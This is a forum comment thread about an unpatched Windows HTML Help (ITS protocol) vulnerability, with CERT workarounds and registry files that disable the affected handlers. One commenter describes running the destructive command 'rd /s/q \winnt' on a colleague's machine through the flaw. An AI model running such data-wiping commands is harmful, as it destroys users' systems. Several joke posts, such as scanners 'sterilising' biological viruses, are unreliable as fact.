If you mean re-imaging is a problem for Aunt Tillie... It's essentially just reinstalling the OS from scratch, but there's nothing stopping you from making backups for the /Applications/ folder as easily as you can back up and restore the /Users/ folder.

Re:Privilege level

[2nd Post!]

Of course this does require Microsoft to do the following:

Remove dependency on the registry
Separate data from executables. Programs should not be saving data into their execution folder, but instead into the /Users/Owner/Preferences/ folder
Make applications self contained, drag and drop able. Copying a program then is all that's needed to install, and deleting the program should uninstall it.

Re:Privilege level

[HuguesT]

Is *is* possible to survive as a restricted user under XP and Win2k. There is one little trick you need to remember: when installing programs or reconfiguring systemy stuff, use shift+right-click on the application you need to run (setup, adding users, reconfiguring the network, etc).

Now notice the extra `Run As' in the menu that pops up? Click that, then select Administrator as the user and give its password. Presto, the program runs as Administrator.

This way to continue administrating your machine you don't need to log-out, log as Administrator, log out again and log back in as yourself. Very handy.

Re:Privilege level

[Gary Destruction]

Why was this modded up without a link to verify this statement?

Re:Privilege level

[Gary Destruction]

Not as a DDOS agent because restricted users don't have access to the Berkley sockets.

Windows XP SP2

[Anonymous Coward]

Although there's no specific patch, the Windows XP SP2 release candidate mitigates this problem.

Re:Windows XP SP2

[I Love this Company!]

It's too bad that 56K users are forced to download a 273MB file to fix this. That's almost 20 hours at 4KB/sec!

Re:Windows XP SP2

[UnassumingLocalGuy]

Windows NT4 SP6a is only 36MB. It's still hell to download on a modem, but it's easier. Plus, with each SP for WinNT, the operating system actually RAN FASTER.

I'm just ranting. I really don't care, I gave up Windows altogether this semester. :)

Horrible

[S.I.O.]

> and no virus definitions for the major scanners

Jesus, even my ScanJet is vulnerable?

Re:Horrible

[Patrik_AKA_RedX]

That depends: How long has it been since you last used a strong desinfectant to clean the scanner? If you don't do this before every scan, you might end up digitizing a virus. God knows what would happen if someone would accidently scan the AIDS-virus.

Prevent virii, sterilize you scanners before use.

Re:Horrible

[kelzer]

Prevent virii, sterilize you scanners before use.

They say a little knowledge is a dangerous thing.

Anyone who knows anything about scanners knows that there's no chance of digitizing a virus, because Xerox PARC recognized the danger back in the late 1970's and ensured that the bulbs used in scanning emit strong ultraviolet light specifically to sterilize the scanned media.

And to add fault-tolerance, just in case a pathogen should survive the UV, there's circuitry in every scanner to slightly scramble the digitized image - not enough to notice with the human eye, but enough to ensure that the likelihood of a digitized virus surviving is extremely small. Yeah, there's an infinitly small chance that the morphed digital virus could survive and be more dangerous than anything in history, but the very slight risk was deemed acceptable.

Re:Horrible

[jared42]

My scanner's instructions say not to clean with rubbing alcohol...

Can I use peroxide instead?

Does that matter if we don't have IE's exe file?

[d3am0n]

Most of us here have already modified our systems knowing that having even the IE exe file or outlook express exe file could cause problems and have removed it (even in spite of the hidden little annoying backup). Remember to get rid of IE be sure to look in the folder /windows/system32/dllcache for those backup exe files that it uses to restore when you try and rip IE or outlook out yourself.

Today?

[Troed]

They announced this TODAY? It has been discussed on Bugtraq for weeks - and due to a few comments I made in their discussion forum the Swedish IDG.se reported this last Friday. I've also linked to one of the PoC-exploits here on Slashdot for people check for themselves. ... what took them so long?

Jelmer's PoC is good: link

(That page is the info page, you won't get hit by clicking on the link directly)

Re:Today?

[Albanach]

They clearly discussed the announcment with their international partners - half of Europe are on holiday today, Good Friday and again on Monday.

I'd imagine lots of the IT bods that are stil working will have had major work scheduled for this weekend for weeks. Just as well there isn't a patch to be deployed!

Re:Today?

[Ralconte]

CERT made a big deal a while back about a new policy. They send an email to the manufacturer first, then sit on the info a month before they post to the general public, to give the manufacturer time to fix it before exploits flood users. That's why you heard about it elsewhere first. I've stopped browseing the CERT website, unless I need historical information. 'Tho it's the best place I've found for tips on how to disable exploits when a patch is not available.

Re:Today?

[74nova]

i cant find the link, but isnt this the same bug that was on /. like 2 years ago? some guy at a university found it and all you had to do was visit his webpage and it woudl fire up minesweeper on your machine. shoot, anybody remember that? it was in the help system too.

start the stopwatch...

[rapiddescent]

now would be a very good time to start the clocks to see how long it takes them to get a patch out. Should be a good case in point for the forrester research published last week. rd

Re:start the stopwatch...

[Anonymous Coward]

Now would? More like a MONTH AGO when there were IRC worms spreading based on this.

Re:start the stopwatch...

[exmsfty]

Well, the interesting thing to me is I was a contract tester on the HTMLHELP team in 1999...and I filed a bug report for this very exploit. So by my stopwatch we are at 5 years and counting. FWIW, I used this exploit to nuke my boss's computer via the "Goodtimes" virus...yea, it was a hoax, but with this exploit I could run "rd /s/q \winnt" from the Preview Pane of Outlook :) If you care then write ShaneMc@microsoft.com and ask him why it wasn't fixed 5 years ago.

Re:start the stopwatch...

[Anonymous Coward]

He's been busy trying to get that damned virus off of his machine.

Re:start the stopwatch...

[m1chael]

They could have written the patch already, wait for the exploit to be made public then release the patch. That way they aren't the ones that admit there is a problem and they are the heroes who have fixed it in a timely manner. Heroes! Software heroes! Heroes!

Re:start the stopwatch...

[TioHoltzman]

You're kidding aren't you?
Because if you're not, that's a pretty damning accusation (one at which I would *happily* smirk at if it were true :)). If you're able to prove this, why not submit this information to one of the major bug tracking sites (or wherever), maybe this would induce more public humilitation for Microsoft so it's fixed sooner.

Re:start the stopwatch...

[value_added]

I'm not suprised. I'm reasonably familiar with the format as I've authored numerous CHM files and spent even more time re-compiling others (removing those HTMLHelp-specific features that MS and anyone following their lead insists on adding that I consider both nutty and inappropriate). IIRC, development stopped on v1.x a long time ago, and the much heralded new help system has some real problems of its own. A number of existing bugs for v1.x have been documented for some time, like those referred to here. Others, well, for years no one at MS has shown any interest in fixing anything unless it involves an embarrassing exploit.

It's too bad, really. I'm not at all impressed with what little MS has done with the format (it still strikes me as afterthought), but compiled HTML can be a blessing. Anyone with tens of thousands of HTML docs on their drive (a handful of O'Reilly books?), can appreciate the simplicity of a single file.

Re:start the stopwatch...

[prandal]

It wouldn't surprise me if it wasn't fixed because the fix broke some core functionality. It's not the only security hole discovered in HTML Help, either, as Matthew Ellisonpointed out back in 2002.

Re:start the stopwatch...

[Quikah]

Wow, you must have just broke every NDA you signed there huh?

MS wil fix it i gues

[Anonymous Coward]

I think MS wil fix this one soon because of its impact on the Windows concept as a whole. The help system is a crucial item.

Wel, CERT says to disable activex stuff, wel should be easy to fix i gues.

Hope they fix this one soon.

Re:MS wil fix it i gues

[Dreadlord]

RTFA, disabling ActiveX does NOT fix the problem, and there is NO complete solution.

Currently, there is no complete solution for this vulnerability. Until a patch is available, consider the workarounds listed below.
[...]
Disabling Active scripting and ActiveX controls will not prevent the exploitation of this vulnerability.

restricted users are nice

[spectre_be]

but besides company's and organizations i think most of the joe average windows users dont take the trouble of configuring their system with restricted users and such. (personally i find it hard to get it all configured right, for one how do i allow restricted users to define shares ??)
"By convincing a victim to view an HTML document such as a web page or HTML email message, an attacker could execute script in a different security domain than the one containing the attacker's document." => let's hope outlook blocks scripts or lots of people will be an easy prey thanks to the 'great' preview pane!
i don't think this will be msblast 2 but i do hope antivir's will catch up (wchich the undoubtably will)
long live mozilla!

Not a problem...

[Raynach]

Pfft, using help files for Windows?? And this is /. news??

I'm a man, therefore I use MAN pages when I need help. ;)

Re:Not a problem...

[Rosco P. Coltrane]

I'm a man, therefore I use MAN pages when I need help.

Tell me, do you also happen to use gimp?

Re:Not a problem...

[DA-MAN]

that's right...

Consult the man when you need answers....

Re:Does that matter if we don't have IE's exe file

[pe1chl]

IE's exe file is not very relevant, as it is only a loader for the DLLs that implement the actual functionality.

How else could it be so small?

To really get rid of IE you need to remove the DLL files that it uses, and you will break many other programs in the process. Because they all closely link to eachother.

Can the help system be disabled

[Rosco P. Coltrane]

If the Windows help thing can be disabled or uninstalled, maybe that exploit won't have anything to exploit.

I don't run Windows, so I don't know much about the help system in it, but what I do know is that the help it gave me was about as useful as fine bone china in a tea party for drunken Parkinson disease sufferers, so uninstalling/disabling it won't be a great loss.

Re:Can the help system be disabled

[Tony-A]

The main advantage of Microsoft Windows 95 over WfW was that you could get rid of useless help screens with a single click.

Re:Does that matter if we don't have IE's exe file

[Anonymous Coward]

mshtml.dll for one. Oh and hope that explorer is not broken in the process.

Afraid

[InternationalCow]

I don't know about the rest of you, but things like these are actually scaring me out of running Windows. Apart from my powerbooks (no problems there) I have one PC laptop on which I run WinXP and Linux and I like to use Windows for its ACPI support, but I'm now constantly afraid that some as yet undescribed security hole will allow someone to screw up my computer/home network. Brrrr. No Windows any longer, I'm sick and tired of being afraid when using my computer.

Re:Afraid

[Halfbaked Plan]

There are tons of good .chm files in the ebooks binary newsgroups. Hmm, I bet some of them are buggy now...

Re:Afraid

[MrLizardo]

As long as you're behind a firewall and you don't surf any websites that you don't trust 100% or ever follow any off site links, or don't receive email at all, or don't use that little browser thing in Winamp, you'll probably be OK. The CERT advisory suggests that it may be possible for virus writers to get other Windows browsers to use explorer to view the chm file, without prompting. And removing IE won't help because its just frontend to some dll files. Removing those will most likely destroy the file browser, and possibly a load of other fun stuff. Also, the code executed can be arbitrary so any number of viruses can appear out of this. The only solution is a patch from MS. Virus Scanners will most likely be largely inefective in dealing with the results of this. In reality, you're probably ok if you lay low and don't click on anything that's not linked to from a major site.

Completely offtopic: In the 2.6 kernels ACPI works a lot better than it used to. It might a good time to kill some time waiting for MS to patch this by trying out a couple new distro releases.

-Mr. Lizard

Re:Afraid

[SnowDog_2112]

I don't know about the rest of you, but things like these are actually scaring me out of running Windows.

If you stop using windows, the terrorists have already won!! :P

Re:Afraid

[m1chael]

Are you American?

Workaround

[KingRob]

Remember to backup your registry (or at least this portion of it)
From the CERT article:

Currently, there is no complete solution for this vulnerability. Until a patch is available, consider the workarounds listed below.

Disable ITS protocol handlers
Disabling ITS protocol handlers appears to prevent exploitation of this vulnerability. Delete or rename the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Ha nd ler\{ms-its,ms-itss,its,mk}
Disabling these protocol handlers will significantly reduce the functionality of the Windows Help system and may have other unintended consequences. Plan to undo these changes after patches have been tested and installed.

Follow good Internet security practices
These recommended security practices will help to reduce exposure to attacks and mitigate the impact of cross-domain vulnerabilities.

Disable Active scripting and ActiveX controls

NOTE: Disabling Active scripting and ActiveX controls will not prevent the exploitation of this vulnerability.

Disabling Active scripting and ActiveX controls in the Internet and Local Machine Zones may stop certain types of attacks and will prevent exploitation of different cross-domain vulnerabilities. Disable Active scripting and ActiveX controls in any zones used to read HTML email.

Disabling Active scripting and ActiveX controls in the Local Machine Zone will prevent malicious code that requires Active scripting and ActiveX controls from running. Changing these settings may reduce the functionality of scripts, applets, Windows components, or other applications. See Microsoft Knowledge Base Article 833633 for detailed information about security settings for the Local Machine Zone. Note that Service Pack 2 for Windows XP includes these changes.

Do not follow unsolicited links
Do not click on unsolicited URLs received in email, instant messages, web forums, or Internet relay chat (IRC) channels.

Maintain updated anti-virus software
Anti-virus software with updated virus definitions may identify and prevent some exploit attempts. Variations of exploits or attack vectors may not be detected. Do not rely solely on anti-virus software to defend against this vulnerability. More information about viruses and anti-virus vendors is available on the US-CERT Computer Virus Resources page.

Re:Workaround

[dj245]

Do not follow unsolicited links Do not click on unsolicited URLs received in email, instant messages, web forums, or Internet relay chat (IRC) channels.

And remember to not actually click on links at all but type them all in by hand so that you are sure that you are not fooled into going somewhere you don't want to go to.

CERT Solution

[nuffle]

the CERT article has the following to say about the solution.

Currently, there is no complete solution for this vulnerability. Until a patch is available, consider the workarounds listed below.

Disable ITS protocol handlers

Disabling ITS protocol handlers appears to prevent exploitation of this vulnerability. Delete or rename the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Hand ler\{ms-its,ms-itss,its,mk}

Disabling these protocol handlers will significantly reduce the functionality of the Windows Help system and may have other unintended consequences. Plan to undo these changes after patches have been tested and installed.

Re:CERT Solution

[Nemi]

Put this in a file with a .reg extension and double click. It wil remove those entried for you.

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROT OCOLS\Handler\ms-its]
@="ms-its: Asychronous Pluggable Protocol Handler"
"CLSID"="{9D148291-B9C8-11D0-A4CC-0000F8 0149F6}"

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ PROTOCOLS\Handler\ms-itss]
"CLSID"="{0A9007C0-407 6-11D3-8789-0000F8105754}"
@="ms-itss: Asynchronous Pluggable Storage Protocol Handler"

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ PROTOCOLS\Handler\its]
@="its: Asychronous Pluggable Protocol Handler"
"CLSID"="{9D148291-B9C8-11D0-A4CC-0000F8 0149F6}"

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ PROTOCOLS\Handler\mk]
@="mk: Asychronous Pluggable Protocol Handler"
"CLSID"="{79eac9e6-baf9-11ce-8c82-00aa00 4ba90b}"

Re:CERT Solution

[Nemi]

I am not sure why, but slashdot puts in spaces in some places. Remove them to get it to work. Lets try it using tt tags and br's Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Ha ndler\ms-its]
@="ms-its: Asychronous Pluggable Protocol Handler"
"CLSID"="{9D148291-B9C8-11D0-A4CC-0000F80149F6}"

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Ha ndler\ms-itss]
"CLSID"="{0A9007C0-4076-11D3-8789-0000F8105754}"
@="ms-itss: Asynchronous Pluggable Storage Protocol Handler"

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Ha ndler\its]
@="its: Asychronous Pluggable Protocol Handler"
"CLSID"="{9D148291-B9C8-11D0-A4CC-0000F80149F6}"

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Ha ndler\mk]
@="mk: Asychronous Pluggable Protocol Handler"
"CLSID"="{79eac9e6-baf9-11ce-8c82-00aa004ba90b}"

Re:CERT Solution

[Minna Kirai]

I am not sure why, but slashdot puts in spaces in some places.

Because if the page contained a single word 200 characters long, web browsers would be forced to scroll horizontally back and forth to read each sentence of every of the 100s of other posts. Horizontal scrollbars suck.

Actually, mac users haven't had a virus yet

[Aqua OS X]

We had the release of a "conceptual" Trojan yesterday.... but not a real virus.

Some software company was trying to sell their mac virus software. A real ID3 tag Mac Trojan does not exist right now.... and odds are we will see patches before one comes to be.

Re:Actually, mac users haven't had a virus yet

[thesupraman]

Taken from Sophos....

http://www.sophos.com/virusinfo/analyses/index_m ac exe.html

Description: Macintosh file virus

666, see Mac/Sevendust-A
ANTI-A, see Mac/ANTI-A
CDEF, see Mac/CDEF
CODE-1, see Mac/CODE-1
CODE-252, see Mac/CODE-252
CODE-9811, see Mac/CODE-9811
ERIC, see Mac/Scores
Garfield, see Mac/MDEF-A
Graphics Accelerator, see Mac/SevenD-Fam
INIT-1984, see Mac/INIT-1984
INIT-29, see Mac/INIT-29
INIT-9403, see Mac/INIT-9403
INIT-M, see Mac/INIT-M
Mac/ANTI-A
Mac/CDEF
Mac/CODE-1
Mac/ CODE-252
Mac/CODE-9811
Mac/INIT-1984
Mac/INIT-2 9
Mac/INIT-9403
Mac/INIT-M
Mac/MBDF-A
Mac/MBDF -B
Mac/MDEF-A
Mac/nVIR-A
Mac/nVIR-B
Mac/nVIR-F am
Mac/Scores
Mac/SevenD-C
Mac/SevenD-D
Mac/Se venD-Fam
Mac/Sevendust-A
Mac/Sevendust-B
Mac/Se vendust-J
Mac/T4
Mac/WDEF
Mac/ZUC-A
MBDF-A, see Mac/MBDF-A
MBDF-B, see Mac/MBDF-B
MDEF 666, see Mac/Sevendust-A
MDEF 9806, see Mac/Sevendust-A
MDEF-A, see Mac/MDEF-A
NASA VULT, see Mac/Scores
nVIR-A, see Mac/nVIR-A
nVIR-B, see Mac/nVIR-B
nVIR-Fam, see Mac/nVIR-Fam
San Jose Flu, see Mac/Scores
Scores, see Mac/Scores
SevenD-C, see Mac/SevenD-C
SevenD-D, see Mac/SevenD-D
SevenD-Fam, see Mac/SevenD-Fam
Sevendust-A, see Mac/Sevendust-A
Sevendust-B, see Mac/Sevendust-B
Sevendust-J, see Mac/Sevendust-J
SysX, see Mac/INIT-9403
T4, see Mac/T4
WDEF, see Mac/WDEF
ZUC-A, see Mac/ZUC-A

Re:Actually, mac users haven't had a virus yet

[mabinogi]

actually none of them effect Mac OS X. Apple effected Mac OS X (with some help).

However, some of them affect it, and as such standing by a statement as broad as "Mac users have not had a virus yet" seems a little silly.

I could stand by the statement "The Earth is flat and the universe is an orange" but that doesn't make it any more true.

Re:Actually, mac users haven't had a virus yet

[plugger]

Maybe he meant that OS-X users have not suffered a widespread outbreak so far. Or maybe he didn't mean that at all :-)

Re:Actually, mac users haven't had a virus yet

[Llywelyn]

INIT, MDEF, ANTI-A... wow, that's a blast from the past...

I remember wiping some of these off of floppies... back when I even owned floppies.

Re:Actually, mac users haven't had a virus yet

[skinfitz]

A real ID3 tag Mac Trojan does not exist right now

You cannot possibly know that for certain; also the Intego trojan has nothing to do with ID3 tags, but rather the fact that under OSX an application can masquerade as an MP3, gif, jpg or Quicktime file.

For all you know some blackhat right now has some malware that uses this exploit and is debating the best method to distribute it.

Re:Actually, mac users haven't had a virus yet

[SlamMan]

Actually, most of these are from the 80s...

Re:Actually, mac users haven't had a virus yet

[Joe U]

The 'Mac is invincible' mentality just means a well crafted mac virus will do even more damage.

How many Mac owners have AV software that is up to date?

Re:Actually, mac users haven't had a virus yet

[5.11Climber]

What's a floppy??? Don't they have pills or something to fix it??

Re:Actually, mac users haven't had a virus yet

[Theaetetus]

The 'Mac is invincible' mentality just means a well crafted mac virus will do even more damage.
How many Mac owners have AV software that is up to date?

Almost none - reason being that all those viruses (virii) mentioned at Sophos (Sophie) are from the 80's (80uses). This is the first 'exploit' on OS X, and it was just mentioned yesterday. What would Anti-Virus for the Mac have mentioned in their definitions last week?

"Virus definitions:

"

Additionally, since all ports are closed by default, and it takes an Administrator password to open any, and it takes an Administrator password to install any applications, and users are not root, there's a limited amount that a virus could do.

-T

Re:Actually, mac users haven't had a virus yet

[LqqkOut]

With "IP Goons" out there like SCO, RIAA, and MPAA, I think we can rest assured nobody's going to be writing that trojan anytime soon.

I hope whoever found the exploit gets a patent for it!

Re:Actually, mac users haven't had a virus yet

[kabdib]

In 1988 or so, when I was working as a developer at Apple, we were told by management not to write anything virus-like "because it was so easy." The first virus-response lab at Apple was a cordoned-off area next to the networking folks.

No viruses. Very funny.

Re:Actually, mac users haven't had a virus yet

[Jim_Maryland]

Out of curiosity, did you put together a list of Microsoft Windows virus's?

Did a couple searches (virus info only) and found: (listed by term and count)

microsoft - 2015

windows - 2321

linux - 134

sun - 19

solaris - 6

aix - 1

hpux - 1

mac - 66

unix - 102

Now the interesting part of this is that most of the non-MS queries I did ended up in this count only because they were part of an MS virus entry that had a note about updating the DAT files for other platforms too. Essentially the numbers for non-MS searches are inflated.

And yes, I know that MS's platform dominance drives virus development, but one could certainly argue that there are enough of the other platforms to draw the occasional virus, or maybe a cross platform virus. Oh yeah, MS software doesn't usually run cross platform and things like Java appear to be mostly immune (and yes, there appears to be 1 general Java virus along with a handful of other Java virus's that are specific to the MS JVM - odd that only the MS JVM implimentation is bad).

Re:Actually, mac users haven't had a virus yet

[drsmithy]

Additionally, since all ports are closed by default, and it takes an Administrator password to open any, [...]

Rubbish. A process needs root privileges to listen on a privileged port, but that still leaves ~64,000 for a regular user process to "open".

[...] and it takes an Administrator password to install any applications, [...]

Rubbish. Any user in the admin group can copy something into the Applications folder. On a Mac, that's as good as "installed".

[...] and users are not root, there's a limited amount that a virus could do.

A virus can do everything it needs to. It can propogate, it can open outbound network connections, it can set itself up to autostart whenever the current user logs in, it can start a remote login service for a human attacker to attempt local exploits, it can scan through the system looking for email addresses, it can pop up a graphical sudo prompt to acquire the user's password (and from that probably elevate to root anyway), etc.

There's very, very little the typical virus needs root privileges to do. It mystifies me why anyone thinks that malicious code without root privileges is impotent.

Re:Actually, mac users haven't had a virus yet

[starshot]

it does NOT require an administrator password to install from a disk image, which many if not most OS X programs come on.

Re:Actually, mac users haven't had a virus yet

[The_ForeignEye]

A Floppy is when you can't get it hard. It "flops" and you can't do anything.

There are pills to fix it. Take some Viagra, and you'll be back as new. I'm sure there are plenty of e-mails in your inbox that tell you how to get some very cheap. And if you still don't like it after you get it hard? well, start clicking on those penis-enlargement ads!

Re:Actually, mac users haven't had a virus yet

[aastanna]

Any user in the admin group can copy something into the Applications folder. On a Mac, that's as good as "installed".

Well, someone still has to go in there a double click on it, so really it's as good as a .exe sitting on your desktop on windows.

it can pop up a graphical sudo prompt to acquire the user's password

If it was going to do that, it may as well just use the regular method to try to elevate it's privledges, I mean, the OS pops that open for you anyway. It's up to the user not to be completly clueless and only type that in when they are doing something that requires super user. Now, if it was really clever, it could hide in the background and wait for me to try to do a software update or something. If it could detect that and beat the expected prompt to the punch, it might have a chance...but i'd be pretty suspicious if the window just popped up for no reason, or if I saw two of them.

Re:Actually, mac users haven't had a virus yet

[Ancient Devices King]

I think he's talking about OSX virii. Some of those are from System 6!

Re:Actually, mac users haven't had a virus yet

[Peaceful_Patriot]

Unfortunately, there is no cure for the Bob Dole virus, which changes your huge hard drive into a 3 1/2 inch floppy.

Use the RUNAS service

[Gary Destruction]

The RUNAS service will allow you to run an executable with elevated privileges. And shortcuts have the option to run as a different user by clicking the check box that says,"Run as different user." To use the RUNAS service, just hold down shift and right-click and you'll see an option that says "Run As".

Re:Use the RUNAS service

[plugger]

It doesn't always work though. If you are accessing files through a mapped network drive letter, a program run as administrator won't see the virtual drive.

It doesn't work as well as 'su -c xxx', I wish it did.

Re:Use the RUNAS service

[Xabraxas]

There are certain programs that will only run with super user privledges in linux that I use on a daily basis. For this I use sudo. I just have to add the executable name to my sudoers file and edit the entry in my menu to use sudo, but after that it's smooth sailing. I try to keep my sudoers file as minimal as possible to avoid any problems. For example, it would be easier sometimes to have my text editor in my sudoers file when I need to edit system-wide config files but that's giving way too much power away. I'll just suck it up instead and use su. The price of security can be difficulty but that's no reason to avoid it.

Re:Use the RUNAS service

[drsmithy]

If you setup the same drive mappings under that user profile, it will. Remember, "Run as" is executing the program under the other user's profile.

Alternatively, use UNC paths instead of drive mappings - they'll work fine.

Re:Use the RUNAS service

[Llywelyn]

To use the RUNAS service, just hold down shift and right-click and you'll see an option that says "Run As".

<p>I would like to commend MS for their skill in selecting intuitive methods of doing things that my mother can figure out on her own...</p>

Re:Use the RUNAS service

[plugger]

Using UNC paths is exactly what I do, but it was annoying when it first happened. To be honest, the 'run as...' function is what makes administering them bearable.

Re:Use the RUNAS service

[Anonymous Coward]

because we all know your mother would have no problem adding people to her sudoer's file...yup. christ. this story has some ridiculous fucking comments, most of which are like the parent - bashing windows' usability issues WRT security because they're so arcane when unix's certainly are too...

Re:Use the RUNAS service

[Zaiff Urgulbunger]

Certainly RUNAS doesn't work with Windows Explorer. Don't know why, but I guess it has something to do with the way Explorer is _part of the operating system_. Which is unfortunate really, 'cos isn't that exactly where the security flaw is?

Re:Use the RUNAS service

[HiThere]

The point is, you only need the elevated permissions in Linux/Unix when you are going to do an administrative function.

If you want to get arcane, you can even set things up so that software installs are done to the local user directory, and don't require admin permissions. That does tend to make installing most of them much more complicated though.

Recently I've started to consider transferring my wife to using Linux. The reason I haven't done so isn't that Linux is difficult to use, it's that the applications aren't available. They're coming, but they aren't quite ready yet.

Re:Use the RUNAS service

[Repugnant_Shit]

But that isn't a solution, it's a workaround for shitty software! In Linux I don't have to su to run UT2004 or Half-Life.

Re:Use the RUNAS service

[cubic6]

It doesn't work, as mentioned above, because Explorer won't run two copies of itself with different profiles. Explorer's always running, so you have to completely kill it and start another copy using RunAs.

Re:Use the RUNAS service

[0123456]

I'm not sure why the parent is listed as 'insightful': I rarely need to run _anything_ as root in Linux, except for installing some software or mounting and unmounting drives, whereas many, if not most, programs I run on XP simply will not run correctly if run as an unpriviledged user. Some time back I tried to set up an unpriviledged user account for my girlfriend on my XP machine and just gave up because trying to get it to work was just too much of a pain.

XP is just broken as far as security is concerned, and hiding these options on special menus certainly does not help.

Re:Use the RUNAS service

[schovanec]

However, it does work for IE (which is basically the same program as explorer). If you run IE as administrator (if you trust it), then type "c:\" in the address bar, you have an "explorer" window that is running with different rights. Not particularly obvious, but it does work if you need it. The only thing that i've found so far that doesn't seem to work is Add/Remove programs when launched from this "explorer" window. None of the uninstall programs will run.

Re:Use the RUNAS service

[GlassUser]

The point is, you only need the elevated permissions in Linux/Unix when you are going to do an administrative function.

If you want to get arcane, you can even set things up so that software installs are done to the local user directory, and don't require admin permissions. That does tend to make installing most of them much more complicated though.
And this is different from windows how?

Re:Use the RUNAS service

[HiThere]

The difference is that only the parts that you are choosing to have open to being changed by the local user are so open. And the applications don't generally require that you open yourself up dangerously. (I admit that I've looked at a few with "convenience features" that I considered dangerous...but usually either I was wrong, or the applications was soon redesigned...or, of course, it disappeared.) But on Linux it's considered a bug if an application requires you to open yourself up to remote infestation without DIRE necessity. On MSWind systems it's considered standard behavior. It may now be technically possible to run a secure system, but if the necessary applications require being run as root-equivalent, what does it matter?

Re:Use the RUNAS service

[GlassUser]

So you're saying it's no different from windows except when the local administrator chooses to make it different.

It an application requires you to run it as admin, then the application is not compatible with windows and you're not going to be able to use it. This "but just make yourself administrator" line is BS.

Re:Is Mozilla vulnerable ?

[rinusnl34]

i checked the link from the poster above,and it did not seem to do anything on Mozilla 1.7B

Its not

[respite]

There is a proof of concpet page here. Neither mozilla nor firefox are susceptible.

Re:I know, I know..

[arpy]

I couldn't care less whether you are modded up as insightful or modded down as troll (and I know which I'd do). /. quite frequently reports on vulnerabilities in free & open source software - and of course these articles receive a bunch of trollish replies along the lines of "who cares" and "why's this news".

irc

[Anonymous Coward]

trojan viruses have been in the wild for atleast a week, probably more, you get infected by visiting a website (with IE ofcourse) and then it spams URLs of the trojan via mIRC.. the process is something like wsz32.exe or nosc32.exe (in %windir%\system32\)

This is point in fact...

[tuxlove]

... that not publishing vulnerabilities doesn't stop exploits. This one had exploits long before the vulnerability was known to anyone but the hackers. I have to laugh every time MS whines about how problems would go away if vulnerabilities were never disclosed, except to the vendor of course. The only thing that might go away is the bad PR, if even that.

Re:This is point in fact...

[kasperd]

This one had exploits long before the vulnerability was known to anyone but the hackers.

I'm still looking forward for the day when Microsoft learn about a vulnurability only because a worm starts deleting Windows installations.

Re:This is point in fact...

[tuxlove]

actually you mean "crackers" not "hackers". check the jargon file for info.

No, I meant "hackers". I think the term "crackers" sounds stupid so I never use it. Sounds like a racist term anyway.

Re:I know, I know..

[heironymouscoward]

At the risk of replying to a Microsoft troll, this is not a "pretty insignificant" story.

Errors in server-side applications are rapidly fixed by serious system administrators and at the worst they provide attackers a way into unprotected systems. How many computers around the world are currently infected or zombied thanks to holes in any of the programs you cited? Almost zero.

Security holes in client-side applications (MSIE, Outlook, primarily) are a totally different story. These programs are mainly used by people who don't have the capacity to protect their systems. And the results are clear: millions of PCs infected by everything from viruses to worms and spywares, used as platforms to launch DDoS attacks, to send spam, to steal information...

There is a real security problem on the Internet, one that is making a joke of the "information highway", and it's almost entirely caused by vulnerabilities like the one reported here.

Until the market leader realizes that its users need serious protection from the malicious forces who roam the Internet, no amount of criticism is too much. And, if you really want to support and defend Microsoft, you should be adding your voice, because it is this issue - its failure to provide its users with a safe platform - which will be its downfall.

"Microsoft = insecure" is an association that should be sending shivers down the backs of those marketing managers trying to bomb the web with billions of Microsoft adverts.

No luck there, I'm sure!

[zonix]

If the Windows help thing can be disabled or uninstalled, maybe that exploit won't have anything to exploit.

I don't know anything that can be really disabled or uninstalled on Windows. Since it's already mentioned that IE is the default handler for help files, I guess people are out of luck in this regard.

I once wanted to uninstall the games that come preinstalled with Windows. So, I got the relevant registry tweaks from support.microsoft.com to have the games displayed in the "Windows Add/Remove Programs" section. Great! Guess what happened? The shortcuts were removed, and the exe files left in place. That's apparently what Microsoft considers uninstalling to be.

z

Re:No luck there, I'm sure!

[Techen]

I'v had success at ridding most things from my XP install using XPlite. I have no help files, no IE, and most of the memory resident programs have been nuked.

No problems so far.

Re:No luck there, I'm sure!

[schovanec]

Well, I suppose you could go into the registry and remove the entries under HKEY_CLASSES_ROOT\PROTOCOLS\Handler for the its:, ms-its:, ms-itss: and mk: protocols. These registry keys contain a CLSID of the COM component that provides the protocols. If you remove them, IE shouldn't know what those protocols mean. Alternatively, if you were brave you could write a wrapper protocol handler to filter out the bad URLs and replace the CLSID with your new handler. Heck, if you want to be funny you could replace them with the CLSID of the about: protocol or something.

Mitigation?

[Henk Poley]

Are you sure?

Re:Mitigation?

[KlomDark]

So rather than getting a service pack, wouldn't going into Tools|Options|Security, and setting Local Intranet to the same settings as Internet take care of it?

well

[circletimessquare]

i loaded up ie, went help... contents and index... search... and typed in"help subsystem vulnerable" and hit list topics

a pop up box announced "no topics found"

so what is everyone talking about? this doesn't seem to be a problem

Re:well

[MrLizardo]

You must have already been cracked! Someone probably deleted that help file off your system so you wouldn't realize that the help system is in fact insecure.

-Mr. Lizardo!

mean trick

[Ruliz Galaxor]

this is probably some kind of mean trick from mister Linus to discourage the use of Windows. I don't believe in this vulnera...

hey, where did my files go?

Administrators: quick fix

[AnonymousDot]

Create a .REG file with this content:

REGEDIT4

[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ PROTOCOLS\Handler\its]
[-HKEY_LOCAL_MACHINE\SOFTW ARE\Classes\PROTOCOLS\Handler\mk]
[-HKEY_LOCAL_MA CHINE\SOFTWARE\Classes\PROTOCOLS\Handler\ms-its]
[-HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Ha ndler\ms-itss]

Remove the spaces that slashcode adds!

Save it as chm-disable.reg
Put a line like this in your logon script:
regedit /s chm-disable.reg
Use the same trick to restore the values when a patch is available (that means that you must save the HANDLER keys first).
Note: If you're still using batch files: KiXtart is your friend!

Re:Administrators: quick fix

